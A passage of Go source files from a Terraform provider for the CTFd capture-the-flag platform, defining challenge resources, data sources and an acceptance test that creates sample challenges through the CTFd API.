RequirementsSubresourceModel struct { Behavior types.String `tfsdk:"behavior"` Prerequisites []types.String `tfsdk:"prerequisites"` } func GetAnon(str types.String) *bool { switch { case str.Equal(BehaviorHidden): return nil case str.Equal(BehaviorAnonymized): return utils.Ptr(true) } panic("invalid anonymization value: " + str.ValueString()) } func FromAnon(b *bool) types.String { if b == nil { return BehaviorHidden } if *b { return BehaviorAnonymized } panic("invalid anonymization value, got boolean false") } ``` ## /provider/challenge_dynamic_data_source.go ```go path="/provider/challenge_dynamic_data_source.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/hashicorp/terraform-plugin-framework/datasource" "github.com/hashicorp/terraform-plugin-framework/datasource/schema" "github.com/hashicorp/terraform-plugin-framework/types" ) var ( _ datasource.DataSource = (*challengeDynamicDataSource)(nil) _ datasource.DataSourceWithConfigure = (*challengeDynamicDataSource)(nil) ) func NewChallengeDynamicDataSource() datasource.DataSource { return &challengeDynamicDataSource{} } type challengeDynamicDataSource struct { client *api.Client } type challengesDynamicDataSourceModel struct { ID types.String `tfsdk:"id"` Challenges []ChallengeDynamicResourceModel `tfsdk:"challenges"` } func (ch *challengeDynamicDataSource) Metadata(ctx context.Context, req datasource.MetadataRequest, resp *datasource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_challenges_dynamic" } func (ch *challengeDynamicDataSource) Schema(ctx context.Context, req datasource.SchemaRequest, resp *datasource.SchemaResponse) { resp.Schema = schema.Schema{ Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ Computed: true, }, "challenges": schema.ListNestedAttribute{ Computed: true, NestedObject: schema.NestedAttributeObject{ Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ MarkdownDescription: "Identifier of the challenge.", Computed: true, }, "name": schema.StringAttribute{ MarkdownDescription: "Name of the challenge, displayed as it.", Computed: true, }, "category": schema.StringAttribute{ MarkdownDescription: "Category of the challenge that CTFd groups by on the web UI.", Computed: true, }, "description": schema.StringAttribute{ MarkdownDescription: "Description of the challenge, consider using multiline descriptions for better style.", Computed: true, }, "attribution": schema.StringAttribute{ MarkdownDescription: "Attribution to the creator(s) of the challenge.", Computed: true, }, "connection_info": schema.StringAttribute{ MarkdownDescription: "Connection Information to connect to the challenge instance, useful for pwn or web pentest.", Computed: true, }, "max_attempts": schema.Int64Attribute{ MarkdownDescription: "Maximum amount of attempts before being unable to flag the challenge.", Computed: true, }, "value": schema.Int64Attribute{ MarkdownDescription: "The value (points) of the challenge once solved. It is mapped to `initial` under the hood, but displayed as `value` for consistency with the standard challenge.", Computed: true, }, "decay": schema.Int64Attribute{ MarkdownDescription: "The decay defines from each number of solves does the decay function triggers until reaching minimum. This function is defined by CTFd and could be configured through `.function`.", Computed: true, }, "minimum": schema.Int64Attribute{ MarkdownDescription: "The minimum points for a dynamic-score challenge to reach with the decay function. Once there, no solve could have more value.", Computed: true, }, "function": schema.StringAttribute{ MarkdownDescription: "Decay function to define how the challenge value evolve through solves, either linear or logarithmic.", Computed: true, }, "state": schema.StringAttribute{ MarkdownDescription: "State of the challenge, either hidden or visible.", Computed: true, }, "next": schema.Int64Attribute{ MarkdownDescription: "Suggestion for the end-user as next challenge to work on.", Computed: true, }, "requirements": schema.SingleNestedAttribute{ MarkdownDescription: "List of required challenges that needs to get flagged before this one being accessible. Useful for skill-trees-like strategy CTF.", Computed: true, Attributes: map[string]schema.Attribute{ "behavior": schema.StringAttribute{ MarkdownDescription: "Behavior if not unlocked, either hidden or anonymized.", Computed: true, }, "prerequisites": schema.ListAttribute{ MarkdownDescription: "List of the challenges ID.", Computed: true, ElementType: types.StringType, }, }, }, "tags": schema.ListAttribute{ MarkdownDescription: "List of challenge tags that will be displayed to the end-user. You could use them to give some quick insights of what a challenge involves.", ElementType: types.StringType, Computed: true, }, "topics": schema.ListAttribute{ MarkdownDescription: "List of challenge topics that are displayed to the administrators for maintenance and planification.", ElementType: types.StringType, Computed: true, }, }, }, }, }, } } func (ch *challengeDynamicDataSource) Configure(ctx context.Context, req datasource.ConfigureRequest, resp *datasource.ConfigureResponse) { if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Data Source Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } ch.client = client } func (ch *challengeDynamicDataSource) Read(ctx context.Context, req datasource.ReadRequest, resp *datasource.ReadResponse) { var state challengesDynamicDataSourceModel challs, err := ch.client.GetChallenges(&api.GetChallengesParams{ Type: utils.Ptr("dynamic"), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Unable to Read CTFd Challenges", err.Error(), ) return } state.Challenges = make([]ChallengeDynamicResourceModel, 0, len(challs)) for _, c := range challs { chall := ChallengeDynamicResourceModel{} chall.ID = types.StringValue(strconv.Itoa(c.ID)) chall.Read(ctx, ch.client, resp.Diagnostics) if resp.Diagnostics.HasError() { return } state.Challenges = append(state.Challenges, chall) } state.ID = types.StringValue("placeholder") resp.Diagnostics.Append(resp.State.Set(ctx, &state)...) } ``` ## /provider/challenge_dynamic_resource.go ```go path="/provider/challenge_dynamic_resource.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/validators" "github.com/hashicorp/terraform-plugin-framework/diag" "github.com/hashicorp/terraform-plugin-framework/path" "github.com/hashicorp/terraform-plugin-framework/resource" "github.com/hashicorp/terraform-plugin-framework/resource/schema" "github.com/hashicorp/terraform-plugin-framework/resource/schema/defaults" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringdefault" "github.com/hashicorp/terraform-plugin-framework/schema/validator" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-framework/types/basetypes" "github.com/hashicorp/terraform-plugin-log/tflog" ) var ( _ resource.Resource = (*challengeDynamicResource)(nil) _ resource.ResourceWithConfigure = (*challengeDynamicResource)(nil) _ resource.ResourceWithImportState = (*challengeDynamicResource)(nil) ) func NewChallengeDynamicResource() resource.Resource { return &challengeDynamicResource{} } type challengeDynamicResource struct { client *api.Client } // ChallengeDynamicResourceModel is exported for ease of extending // CTFd through a plugin. Under normal circumpstances, you should // not use it. type ChallengeDynamicResourceModel struct { ChallengeStandardResourceModel Function types.String `tfsdk:"function"` Decay types.Int64 `tfsdk:"decay"` Minimum types.Int64 `tfsdk:"minimum"` } func (r *challengeDynamicResource) Metadata(ctx context.Context, req resource.MetadataRequest, resp *resource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_challenge_dynamic" } func (r *challengeDynamicResource) Schema(ctx context.Context, req resource.SchemaRequest, resp *resource.SchemaResponse) { resp.Schema = schema.Schema{ MarkdownDescription: "CTFd is built around the Challenge resource, which contains all the attributes to define a part of the Capture The Flag event.\n\nThis implementation has support of a more dynamic behavior for its scoring through time/solves thus is different from a standard challenge.", Attributes: ChallengeDynamicResourceAttributes, } } func (r *challengeDynamicResource) Configure(ctx context.Context, req resource.ConfigureRequest, resp *resource.ConfigureResponse) { // Prevent panic if the provider has not been configured. if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Resource Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } r.client = client } func (r *challengeDynamicResource) Create(ctx context.Context, req resource.CreateRequest, resp *resource.CreateResponse) { var data ChallengeDynamicResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } // Create Challenge reqs := (*api.Requirements)(nil) if data.Requirements != nil { preqs := make([]int, 0, len(data.Requirements.Prerequisites)) for _, preq := range data.Requirements.Prerequisites { id, _ := strconv.Atoi(preq.ValueString()) preqs = append(preqs, id) } reqs = &api.Requirements{ Anonymize: GetAnon(data.Requirements.Behavior), Prerequisites: preqs, } } res, err := r.client.PostChallenges(&api.PostChallengesParams{ Name: data.Name.ValueString(), Category: data.Category.ValueString(), Description: data.Description.ValueString(), Attribution: data.Attribution.ValueStringPointer(), ConnectionInfo: data.ConnectionInfo.ValueStringPointer(), MaxAttempts: utils.ToInt(data.MaxAttempts), Function: data.Function.ValueStringPointer(), Initial: utils.ToInt(data.Value), Decay: utils.ToInt(data.Decay), Minimum: utils.ToInt(data.Minimum), State: data.State.ValueString(), Type: "dynamic", NextID: utils.ToInt(data.Next), Requirements: reqs, }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create challenge, got error: %s", err), ) return } tflog.Trace(ctx, "created a challenge") // Save computed attributes in state data.ID = types.StringValue(strconv.Itoa(res.ID)) // Create tags challTags := make([]types.String, 0, len(data.Tags)) for _, tag := range data.Tags { _, err := r.client.PostTags(&api.PostTagsParams{ Challenge: utils.Atoi(data.ID.ValueString()), Value: tag.ValueString(), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create tags, got error: %s", err), ) return } challTags = append(challTags, tag) } if data.Tags != nil { data.Tags = challTags } // Create topics challTopics := make([]types.String, 0, len(data.Topics)) for _, topic := range data.Topics { _, err := r.client.PostTopics(&api.PostTopicsParams{ Challenge: utils.Atoi(data.ID.ValueString()), Type: "challenge", Value: topic.ValueString(), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create topic, got error: %s", err), ) return } challTopics = append(challTopics, topic) } if data.Topics != nil { data.Topics = challTopics } if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *challengeDynamicResource) Read(ctx context.Context, req resource.ReadRequest, resp *resource.ReadResponse) { var data ChallengeDynamicResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } data.Read(ctx, r.client, resp.Diagnostics) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *challengeDynamicResource) Update(ctx context.Context, req resource.UpdateRequest, resp *resource.UpdateResponse) { var data ChallengeDynamicResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } var dataState ChallengeDynamicResourceModel req.State.Get(ctx, &dataState) // Patch direct attributes reqs := (*api.Requirements)(nil) if data.Requirements != nil { preqs := make([]int, 0, len(data.Requirements.Prerequisites)) for _, preq := range data.Requirements.Prerequisites { id, _ := strconv.Atoi(preq.ValueString()) preqs = append(preqs, id) } reqs = &api.Requirements{ Anonymize: GetAnon(data.Requirements.Behavior), Prerequisites: preqs, } } _, err := r.client.PatchChallenge(utils.Atoi(data.ID.ValueString()), &api.PatchChallengeParams{ Name: data.Name.ValueString(), Category: data.Category.ValueString(), Description: data.Description.ValueString(), Attribution: data.Attribution.ValueStringPointer(), ConnectionInfo: data.ConnectionInfo.ValueStringPointer(), MaxAttempts: utils.ToInt(data.MaxAttempts), Function: data.Function.ValueStringPointer(), Initial: utils.ToInt(data.Value), Decay: utils.ToInt(data.Decay), Minimum: utils.ToInt(data.Minimum), State: data.State.ValueString(), NextID: utils.ToInt(data.Next), Requirements: reqs, }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to update challenge, got error: %s", err), ) return } // Update its tags (drop them all, create new ones) challTags, err := r.client.GetChallengeTags(utils.Atoi(data.ID.ValueString()), api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to get all tags of challenge %s, got error: %s", data.ID.ValueString(), err), ) return } for _, tag := range challTags { if err := r.client.DeleteTag(strconv.Itoa(tag.ID), api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to delete tag %d of challenge %s, got error: %s", tag.ID, data.ID.ValueString(), err), ) return } } tags := make([]types.String, 0, len(data.Tags)) for _, tag := range data.Tags { _, err := r.client.PostTags(&api.PostTagsParams{ Challenge: utils.Atoi(data.ID.ValueString()), Value: tag.ValueString(), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create tag of challenge %s, got error: %s", data.ID.ValueString(), err), ) return } tags = append(tags, tag) } if data.Tags != nil { data.Tags = tags } // Update its topics (drop them all, create new ones) challTopics, err := r.client.GetChallengeTopics(utils.Atoi(data.ID.ValueString()), api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to get all topics of challenge %s, got error: %s", data.ID.ValueString(), err), ) return } for _, topic := range challTopics { if err := r.client.DeleteTopic(&api.DeleteTopicArgs{ ID: strconv.Itoa(topic.ID), Type: "challenge", }, api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to delete topic %d of challenge %s, got error: %s", topic.ID, data.ID.ValueString(), err), ) return } } topics := make([]types.String, 0, len(data.Topics)) for _, topic := range data.Topics { _, err := r.client.PostTopics(&api.PostTopicsParams{ Challenge: utils.Atoi(data.ID.ValueString()), Type: "challenge", Value: topic.ValueString(), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create topic of challenge %s, got error: %s", data.ID.ValueString(), err), ) return } topics = append(topics, topic) } if data.Topics != nil { data.Topics = topics } if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *challengeDynamicResource) Delete(ctx context.Context, req resource.DeleteRequest, resp *resource.DeleteResponse) { var data ChallengeDynamicResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } if err := r.client.DeleteChallenge(utils.Atoi(data.ID.ValueString()), api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError("Client Error", fmt.Sprintf("Unable to delete challenge, got error: %s", err)) return } // ... don't need to delete nested objects, this is handled by CTFd } func (r *challengeDynamicResource) ImportState(ctx context.Context, req resource.ImportStateRequest, resp *resource.ImportStateResponse) { resource.ImportStatePassthroughID(ctx, path.Root("id"), req, resp) // Automatically call r.Read } // // Starting from this are helper or types-specific code related to the ctfd_challenge_dynamic resource // func (chall *ChallengeDynamicResourceModel) Read(ctx context.Context, client *api.Client, diags diag.Diagnostics) { res, err := client.GetChallenge(utils.Atoi(chall.ID.ValueString()), api.WithContext(ctx)) if err != nil { diags.AddError("Client Error", fmt.Sprintf("Unable to read challenge %s, got error: %s", chall.ID.ValueString(), err)) return } chall.Name = types.StringValue(res.Name) chall.Category = types.StringValue(res.Category) chall.Description = types.StringValue(res.Description) chall.Attribution = types.StringPointerValue(res.Attribution) chall.ConnectionInfo = utils.ToTFString(res.ConnectionInfo) chall.MaxAttempts = utils.ToTFInt64(res.MaxAttempts) chall.Function = utils.ToTFString(res.Function) chall.Value = utils.ToTFInt64(res.Initial) chall.Decay = utils.ToTFInt64(res.Decay) chall.Minimum = utils.ToTFInt64(res.Minimum) chall.State = types.StringValue(res.State) chall.Next = utils.ToTFInt64(res.NextID) id := utils.Atoi(chall.ID.ValueString()) // Get subresources // => Requirements resReqs, err := client.GetChallengeRequirements(id, api.WithContext(ctx)) if err != nil { diags.AddError( "Client Error", fmt.Sprintf("Unable to read challenge %d requirements, got error: %s", id, err), ) return } reqs := (*RequirementsSubresourceModel)(nil) if resReqs != nil { challPreqs := make([]types.String, 0, len(resReqs.Prerequisites)) for _, req := range resReqs.Prerequisites { challPreqs = append(challPreqs, types.StringValue(strconv.Itoa(req))) } reqs = &RequirementsSubresourceModel{ Behavior: FromAnon(resReqs.Anonymize), Prerequisites: challPreqs, } } chall.Requirements = reqs // => Tags resTags, err := client.GetChallengeTags(id, api.WithContext(ctx)) if err != nil { diags.AddError( "Client Error", fmt.Sprintf("Unable to read challenge %d tags, got error: %s", id, err), ) return } chall.Tags = make([]basetypes.StringValue, 0, len(resTags)) for _, tag := range resTags { chall.Tags = append(chall.Tags, types.StringValue(tag.Value)) } // => Topics resTopics, err := client.GetChallengeTopics(id, api.WithContext(ctx)) if err != nil { diags.AddError( "Client Error", fmt.Sprintf("Unable to read challenge %d topics, got error: %s", id, err), ) return } chall.Topics = make([]basetypes.StringValue, 0, len(resTopics)) for _, topic := range resTopics { chall.Topics = append(chall.Topics, types.StringValue(topic.Value)) } } var ( // ChallengeDynamicResourceAttributes is exported for ease of extending // CTFd through a plugin. Under normal circumpstances, you should // not use it. ChallengeDynamicResourceAttributes = utils.BlindMerge(ChallengeStandardResourceAttributes, map[string]schema.Attribute{ "function": schema.StringAttribute{ MarkdownDescription: "Decay function to define how the challenge value evolve through solves, either linear or logarithmic.", Optional: true, Computed: true, Default: defaults.String(stringdefault.StaticString("linear")), Validators: []validator.String{ validators.NewStringEnumValidator([]basetypes.StringValue{ FunctionLinear, FunctionLogarithmic, }), }, }, // value is overwritten with a specific description "value": schema.Int64Attribute{ MarkdownDescription: "The value (points) of the challenge once solved. It is mapped to `initial` under the hood, but displayed as `value` for consistency with the standard challenge.", Required: true, }, "decay": schema.Int64Attribute{ MarkdownDescription: "The decay defines from each number of solves does the decay function triggers until reaching minimum. This function is defined by CTFd and could be configured through `.function`.", Required: true, }, "minimum": schema.Int64Attribute{ MarkdownDescription: "The minimum points for a dynamic-score challenge to reach with the decay function. Once there, no solve could have more value.", Required: true, }, }) ) ``` ## /provider/challenge_dynamic_resource_test.go ```go path="/provider/challenge_dynamic_resource_test.go" package provider_test import ( "testing" "github.com/hashicorp/terraform-plugin-testing/helper/resource" ) func TestAcc_ChallengeDynamic_Lifecycle(t *testing.T) { resource.Test(t, resource.TestCase{ ProtoV6ProviderFactories: testAccProtoV6ProviderFactories, Steps: []resource.TestStep{ // Create and Read testing { Config: providerConfig + ` resource "ctfd_challenge_dynamic" "http" { name = "HTTP Authentication" category = "network" description = <<-EOT Oh no ! I did not see my connection was no encrypted ! I hope no one spied me... EOT attribution = "Nicolas" value = 500 decay = 20 minimum = 50 state = "hidden" topics = [ "Network" ] tags = [ "network" ] } `, Check: resource.ComposeAggregateTestCheckFunc( // Verify dynamic values have any value set in the state. resource.TestCheckResourceAttrSet("ctfd_challenge_dynamic.http", "id"), ), }, // ImportState testing { ResourceName: "ctfd_challenge_dynamic.http", ImportState: true, ImportStateVerify: true, }, // Update and Read testing { Config: providerConfig + ` resource "ctfd_challenge_dynamic" "http" { name = "HTTP Authentication" category = "network" description = <<-EOT Oh no ! I did not see my connection was no encrypted ! I hope no one spied me... EOT attribution = "NicolasFgrx" value = 500 decay = 17 minimum = 50 state = "visible" topics = [ "Network" ] tags = [ "network", "http" ] } resource "ctfd_challenge_dynamic" "icmp" { name = "Stealing data" category = "network" description = <<-EOT The network administrator signaled some strange content send to a server. At first glance, it seems to be an internal one. Can you tell what it is ? (The network capture was realized out of the CTF infrastructure) EOT attribution = "NicolasFgrx" value = 500 decay = 17 minimum = 50 requirements = { behavior = "anonymized" prerequisites = [ctfd_challenge_dynamic.http.id] } } `, Check: resource.ComposeAggregateTestCheckFunc( resource.TestCheckResourceAttr("ctfd_challenge_dynamic.icmp", "requirements.prerequisites.#", "1"), ), }, // Delete testing automatically occurs in TestCase }, }) } ``` ## /provider/challenge_standard_data_source.go ```go path="/provider/challenge_standard_data_source.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/hashicorp/terraform-plugin-framework/datasource" "github.com/hashicorp/terraform-plugin-framework/datasource/schema" "github.com/hashicorp/terraform-plugin-framework/types" ) var ( _ datasource.DataSource = (*challengeStandardDataSource)(nil) _ datasource.DataSourceWithConfigure = (*challengeStandardDataSource)(nil) ) func NewChallengeStandardDataSource() datasource.DataSource { return &challengeStandardDataSource{} } type challengeStandardDataSource struct { client *api.Client } type challengesStandardDataSourceModel struct { ID types.String `tfsdk:"id"` Challenges []ChallengeStandardResourceModel `tfsdk:"challenges"` } func (ch *challengeStandardDataSource) Metadata(ctx context.Context, req datasource.MetadataRequest, resp *datasource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_challenges_standard" } func (ch *challengeStandardDataSource) Schema(ctx context.Context, req datasource.SchemaRequest, resp *datasource.SchemaResponse) { resp.Schema = schema.Schema{ Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ Computed: true, }, "challenges": schema.ListNestedAttribute{ Computed: true, NestedObject: schema.NestedAttributeObject{ Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ MarkdownDescription: "Identifier of the challenge.", Computed: true, }, "name": schema.StringAttribute{ MarkdownDescription: "Name of the challenge, displayed as it.", Computed: true, }, "category": schema.StringAttribute{ MarkdownDescription: "Category of the challenge that CTFd groups by on the web UI.", Computed: true, }, "description": schema.StringAttribute{ MarkdownDescription: "Description of the challenge, consider using multiline descriptions for better style.", Computed: true, }, "attribution": schema.StringAttribute{ MarkdownDescription: "Attribution to the creator(s) of the challenge.", Computed: true, }, "connection_info": schema.StringAttribute{ MarkdownDescription: "Connection Information to connect to the challenge instance, useful for pwn or web pentest.", Computed: true, }, "max_attempts": schema.Int64Attribute{ MarkdownDescription: "Maximum amount of attempts before being unable to flag the challenge.", Computed: true, }, "value": schema.Int64Attribute{ Computed: true, }, "state": schema.StringAttribute{ MarkdownDescription: "State of the challenge, either hidden or visible.", Computed: true, }, "next": schema.Int64Attribute{ MarkdownDescription: "Suggestion for the end-user as next challenge to work on.", Computed: true, }, "requirements": schema.SingleNestedAttribute{ MarkdownDescription: "List of required challenges that needs to get flagged before this one being accessible. Useful for skill-trees-like strategy CTF.", Computed: true, Attributes: map[string]schema.Attribute{ "behavior": schema.StringAttribute{ MarkdownDescription: "Behavior if not unlocked, either hidden or anonymized.", Computed: true, }, "prerequisites": schema.ListAttribute{ MarkdownDescription: "List of the challenges ID.", Computed: true, ElementType: types.StringType, }, }, }, "tags": schema.ListAttribute{ MarkdownDescription: "List of challenge tags that will be displayed to the end-user. You could use them to give some quick insights of what a challenge involves.", ElementType: types.StringType, Computed: true, }, "topics": schema.ListAttribute{ MarkdownDescription: "List of challenge topics that are displayed to the administrators for maintenance and planification.", ElementType: types.StringType, Computed: true, }, }, }, }, }, } } func (ch *challengeStandardDataSource) Configure(ctx context.Context, req datasource.ConfigureRequest, resp *datasource.ConfigureResponse) { if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Data Source Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } ch.client = client } func (ch *challengeStandardDataSource) Read(ctx context.Context, req datasource.ReadRequest, resp *datasource.ReadResponse) { var state challengesStandardDataSourceModel challs, err := ch.client.GetChallenges(&api.GetChallengesParams{ Type: utils.Ptr("standard"), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Unable to Read CTFd Challenges", err.Error(), ) return } state.Challenges = make([]ChallengeStandardResourceModel, 0, len(challs)) for _, c := range challs { chall := ChallengeStandardResourceModel{ ID: types.StringValue(strconv.Itoa(c.ID)), } chall.Read(ctx, ch.client, resp.Diagnostics) if resp.Diagnostics.HasError() { return } state.Challenges = append(state.Challenges, chall) } state.ID = types.StringValue("placeholder") resp.Diagnostics.Append(resp.State.Set(ctx, &state)...) } ``` ## /provider/challenge_standard_resource.go ```go path="/provider/challenge_standard_resource.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/validators" "github.com/hashicorp/terraform-plugin-framework/attr" "github.com/hashicorp/terraform-plugin-framework/diag" "github.com/hashicorp/terraform-plugin-framework/path" "github.com/hashicorp/terraform-plugin-framework/resource" "github.com/hashicorp/terraform-plugin-framework/resource/schema" "github.com/hashicorp/terraform-plugin-framework/resource/schema/int64default" "github.com/hashicorp/terraform-plugin-framework/resource/schema/listdefault" "github.com/hashicorp/terraform-plugin-framework/resource/schema/planmodifier" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringdefault" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringplanmodifier" "github.com/hashicorp/terraform-plugin-framework/schema/validator" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-framework/types/basetypes" "github.com/hashicorp/terraform-plugin-log/tflog" ) var ( _ resource.Resource = (*challengeStandardResource)(nil) _ resource.ResourceWithConfigure = (*challengeStandardResource)(nil) _ resource.ResourceWithImportState = (*challengeStandardResource)(nil) ) func NewChallengeStandardResource() resource.Resource { return &challengeStandardResource{} } type challengeStandardResource struct { client *api.Client } // ChallengeStandardResourceModel is exported for ease of extending // CTFd through a plugin. Under normal circumpstances, you should // not use it. type ChallengeStandardResourceModel struct { ID types.String `tfsdk:"id"` Name types.String `tfsdk:"name"` Category types.String `tfsdk:"category"` Description types.String `tfsdk:"description"` Attribution types.String `tfsdk:"attribution"` ConnectionInfo types.String `tfsdk:"connection_info"` MaxAttempts types.Int64 `tfsdk:"max_attempts"` Value types.Int64 `tfsdk:"value"` State types.String `tfsdk:"state"` Next types.Int64 `tfsdk:"next"` Requirements *RequirementsSubresourceModel `tfsdk:"requirements"` Tags []types.String `tfsdk:"tags"` Topics []types.String `tfsdk:"topics"` } func (r *challengeStandardResource) Metadata(ctx context.Context, req resource.MetadataRequest, resp *resource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_challenge_standard" } func (r *challengeStandardResource) Schema(ctx context.Context, req resource.SchemaRequest, resp *resource.SchemaResponse) { resp.Schema = schema.Schema{ MarkdownDescription: "CTFd is built around the Challenge resource, which contains all the attributes to define a part of the Capture The Flag event.\n\nIt is the first historic implementation of its kind, with basic functionalities.", Attributes: ChallengeStandardResourceAttributes, } } func (r *challengeStandardResource) Configure(ctx context.Context, req resource.ConfigureRequest, resp *resource.ConfigureResponse) { // Prevent panic if the provider has not been configured. if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Resource Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } r.client = client } func (r *challengeStandardResource) Create(ctx context.Context, req resource.CreateRequest, resp *resource.CreateResponse) { var data ChallengeStandardResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } // Create Challenge reqs := (*api.Requirements)(nil) if data.Requirements != nil { preqs := make([]int, 0, len(data.Requirements.Prerequisites)) for _, preq := range data.Requirements.Prerequisites { id, _ := strconv.Atoi(preq.ValueString()) preqs = append(preqs, id) } reqs = &api.Requirements{ Anonymize: GetAnon(data.Requirements.Behavior), Prerequisites: preqs, } } res, err := r.client.PostChallenges(&api.PostChallengesParams{ Name: data.Name.ValueString(), Category: data.Category.ValueString(), Description: data.Description.ValueString(), Attribution: data.Attribution.ValueStringPointer(), ConnectionInfo: data.ConnectionInfo.ValueStringPointer(), MaxAttempts: utils.ToInt(data.MaxAttempts), Value: int(data.Value.ValueInt64()), State: data.State.ValueString(), Type: "standard", NextID: utils.ToInt(data.Next), Requirements: reqs, }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create challenge, got error: %s", err), ) return } tflog.Trace(ctx, "created a challenge") // Save computed attributes in state data.ID = types.StringValue(strconv.Itoa(res.ID)) // Create tags challTags := make([]types.String, 0, len(data.Tags)) for _, tag := range data.Tags { _, err := r.client.PostTags(&api.PostTagsParams{ Challenge: utils.Atoi(data.ID.ValueString()), Value: tag.ValueString(), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create tags, got error: %s", err), ) return } challTags = append(challTags, tag) } if data.Tags != nil { data.Tags = challTags } // Create topics challTopics := make([]types.String, 0, len(data.Topics)) for _, topic := range data.Topics { _, err := r.client.PostTopics(&api.PostTopicsParams{ Challenge: utils.Atoi(data.ID.ValueString()), Type: "challenge", Value: topic.ValueString(), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create topic, got error: %s", err), ) return } challTopics = append(challTopics, topic) } if data.Topics != nil { data.Topics = challTopics } if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *challengeStandardResource) Read(ctx context.Context, req resource.ReadRequest, resp *resource.ReadResponse) { var data ChallengeStandardResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } data.Read(ctx, r.client, resp.Diagnostics) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *challengeStandardResource) Update(ctx context.Context, req resource.UpdateRequest, resp *resource.UpdateResponse) { var data ChallengeStandardResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } var dataState ChallengeStandardResourceModel req.State.Get(ctx, &dataState) // Patch direct attributes reqs := (*api.Requirements)(nil) if data.Requirements != nil { preqs := make([]int, 0, len(data.Requirements.Prerequisites)) for _, preq := range data.Requirements.Prerequisites { id, _ := strconv.Atoi(preq.ValueString()) preqs = append(preqs, id) } reqs = 